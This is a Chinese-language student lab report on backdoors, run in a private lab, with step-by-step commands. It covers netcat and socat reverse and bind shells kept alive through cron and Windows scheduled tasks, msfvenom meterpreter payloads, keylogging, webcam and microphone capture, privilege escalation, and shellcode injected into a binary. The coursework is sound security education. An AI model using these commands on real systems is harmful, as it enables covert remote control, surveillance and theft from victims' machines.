2018-2019-2 20165330《网络对抗技术》Exp2 后门原理与实践
目录
实验内容
----------
- [使用netcat获取主机操作Shell,cron启动](#0)
- [使用socat获取主机操作Shell, 任务计划启动](#1)
- [使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell](#2)
- [使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权](#3)
- [使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell](#4)
基础问题
----------
- 例举你能想到的一个后门进入到你系统中的可能方式?
> 有时在网页版下载软件的安装包时,会藏有后门程序,当启动安装包进行安装,后门就潜入到系统中。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- 伪装成常用软件,诱使用户点击
- 远程监听从而反向连接被控主机,发送后门,控制后门启动
- linux的cron程序被修改,使得自动定时执行后门程序
- Meterpreter有哪些给你映像深刻的功能?
可以获取被控主机的音频文件、开启摄像头和录像功能,捕获画面。
- 如何发现自己有系统有没有被安装后门?
- 定期用电脑所下载的杀毒软件对系统进行检测,及时处理可疑程序
- 开启防火墙,查看开启的端口及对应的进程,一般不是系统默认开启的端口都是可疑的,再结合对应进程的抓包查看通信数据分析是否为后门。
相关知识
----------
#### ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux中一般自带`ncat`,可以使用`man netcat`或`man nc`可查看其使用说明
- Win获得Linux Shell
- windows打开监听:`ncat.exe -l -p 5330`
- Linux反弹连接win:`nc 192.168.56.1 5330 -e /bin/sh`(IP为win IP)
- windows下获得一个linux shell,可运行任何指令,如`ls`
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190321004822520-1629593566.png)
- Linux获得Win Shell
- Linux运行监听指令:`nc -l -p 5330`
- Windows反弹连接Linux:`ncat.exe -e cmd.exe 192.168.107.128 5330`(IP为Linux IP)
- Linux下看到Windows的命令提示
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190321005105021-1181548357.png)
- 传输数据
- Windows下监听端口:`ncat.exe -l -p 5330`
- Linux下连接到Windows的端口:`ncat 192.168.56.1 5330`(IP为win IP)
- 建立连接之后,就可以传输数据
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190321005415510-1795695439.png)
socat
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
Meterpreter
- 具有强大的功能,特别是其socks代理,具体原理参考揭开Meterpreter的神秘面纱
- 有关参数可以参考MSF,里面有介绍一些后门的生成。
- 参考使用MSF生成的shellcode打造免杀payload可以使用
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.56.1 lport=5330 -f c
(IP为Win IP)生成shellcode,注入到可执行文件,执行时回连攻击主机。
实验步骤
----------
##### 使用netcat获取主机操作Shell,cron启动
- 这里将kali作为被攻击目标
- 在Windows下打开命令行,使用`ipconfig`查看Windows的IP地址为`192.168.56.1`
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190320201336082-1584776227.png)
- Windows中使用`ncat.exe -l 5330`监听`5330`端口
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190320201453847-2105355268.png)
- 在Kali中,使用`crontab -e`指令编辑一条定时任务,选择编辑器时选择"3",在底行插入`30 * * * * /bin/netcat 192.168.56.1 5330 -e /bin/sh`(意为在每个小时的第30分钟反向连接Windows的5330端口)
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190320202745472-2113425375.png)
- `:wq`保存退出配置即生效,可通过`crontab -l`查看
- 在系统时间到第30分钟,就发现获得kali shell
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190320203146523-123064773.png)
使用socat获取主机操作Shell, 任务计划启动
- win10系统中找到左下角的windows标志:
右键
-计算机管理
-任务计划程序
-创建任务
常规
中填写任务名称后(我填写了win),触发器
-新建
新建触发器,然后确定
操作
-新建
,导入你所下载解压后的socat.exe
的路径,在添加参数
中填入tcp-listen:5330 exec:cmd.exe,pty,stderr
(意为把cmd.exe
绑定到端口5330
,同时把cmd.exe
的stderr
重定向到stdout
上)
- 创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,双击任务计划程序库
可以发现之前创建的任务已经开始运行
- 在kali中输入
socat - tcp:192.168.56.1:5330
(-
代表标准的输入输出,第二个流连接到Windows主机的5330端口,IP为windows的IP),接着可以发现已经成功获得一个cmd shell
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -f exe > 20165330_backdoor.exe
(IP为kali的IP)生成后门程序20165330_backdoor.exe
- 在Windows中使用
ncat.exe -lv 5330 > 20165330_backdoor.exe
查看连接状态
- kali中输入
nc 192.168.56.1 5330 < 20165330_backdoor.exe
(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上 - 传输成功
- 此时kali中新打开一个终端,使用
msfconsole
进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload - 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.246.128
此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 5330
- 设置完成后,
exploit
开始监听
- 在Windows中先使用
ctrl+c
退出上条命令,在执行:20165330_backdoor.exe
(注意电脑的防火墙和杀毒软件要关掉),发现kali获得Windows主机的连接,并且得到了远程控制的shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 重复上个内容操作至
exploit
- 可以使用
record_mic
可以截获一段音频
- 使用
webcam_snap
可以使用摄像头进行拍照
- 使用
screenshot
可以进行截屏
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
- 还可以使用
getuid
查看当前用户,使用getsystem
进行提权
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
参考博客:任胤同学博客,学姐博客,msfvenom命令说明
第一种:
- 这里是kali自己监听自己,首先生成一段
shellcode
:msfvenom -p linux/x86/meterpreter/shell_reverse_tcp -b '\x00\x0a\0d' LHOST=192.168.246.128 LPORT=5330 -f c
(IP为kali自己的IP)
- 使用实验一中的第三部分步骤将生成的
shellcode
注入到pwn1
中(注意去掉引号和空格),步骤点这里,随后找到shellcode地址
为0xffffd370
- 注入成功后,kali中打开新的终端,输入
msfconsole
进入MSF控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload- 使用和生成后门程序时相同的payload:
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.246.128
此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 5330
- 设置完成后,
exploit
开始监听
- 旧的终端中运行
pwn1
:(cat input_shellcode;cat) | ./pwn1
- 发现没有反应。。。原因在于生成的
shellcode
有问题。。
第二种:
- MSF可以实现直接将shellcode注入可执行文件
- 使用命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -x /root/pwn2 -f elf > pwn3
(-x
参数为指定一个自定义的可执行文件作为模板,这里将shellcode
弄到pwn1
模板中)
msfconsole
进入MSF控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload- 使用和生成后门程序时相同的payload:
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.246.128
此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 5330
- 设置完成后,
exploit
开始监听- 加权限运行
pwn3
- 得到shell命令
第三种(符合要求的)
- 在官网下载生成好的shellcode
- 将其中的code部分注入
pwn1
- 打开新的终端进入msf控制台:
msfconsole
- 输入
use exploit/multi/handler
使用监听模块,设置payload- 使用和生成后门程序时相同的payload:
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 4444
- 设置完成后,
exploit
开始监听
- 执行:
(cat input_shellcode;cat) | ./pwn1
(注意回车)
- 发现已获得shell
ps:如果没成功把注入的部分从头开始再找一遍地址从头开始注入
实验过程中遇到的问题
----------
- 在进入msf控制台时,发现进入不了,出现以下错误
![image](https://img2018.cnblogs.com/blog/1291750/201903/1291750-20190320231610576-1199353288.png)
>解决办法:我一开始成功进入以后,又退出,后面重复多次生成后门程序,可能这其中导致程序不再是原始的,我将两边的程序都删除后,重启电脑在重新按步骤后成功。
- 在进入msf控制台后,进入监听是报错,出现
Session manipulation failed: Cannot allocate memory
解决办法:该错误是提示无法分配内存,我设置的内存是1G,将虚拟机关机,进入
虚拟机
-设置
-内存
,将内存改大一倍在开启虚拟机即可。
实验总结与体会
----------
- 通过本次实验我明白了后门的基本原理,按照老师文档和学长学姐博客的指导一步步完成实验,才了解到后门的"威力",也告诉了我们平时要多注意网上安全,留意恶意程序;在实践中一步步的操作也着实吸引我尝试不同的内容,希望在之后可以尝试出结果、更清晰自己的步骤,有更多收获。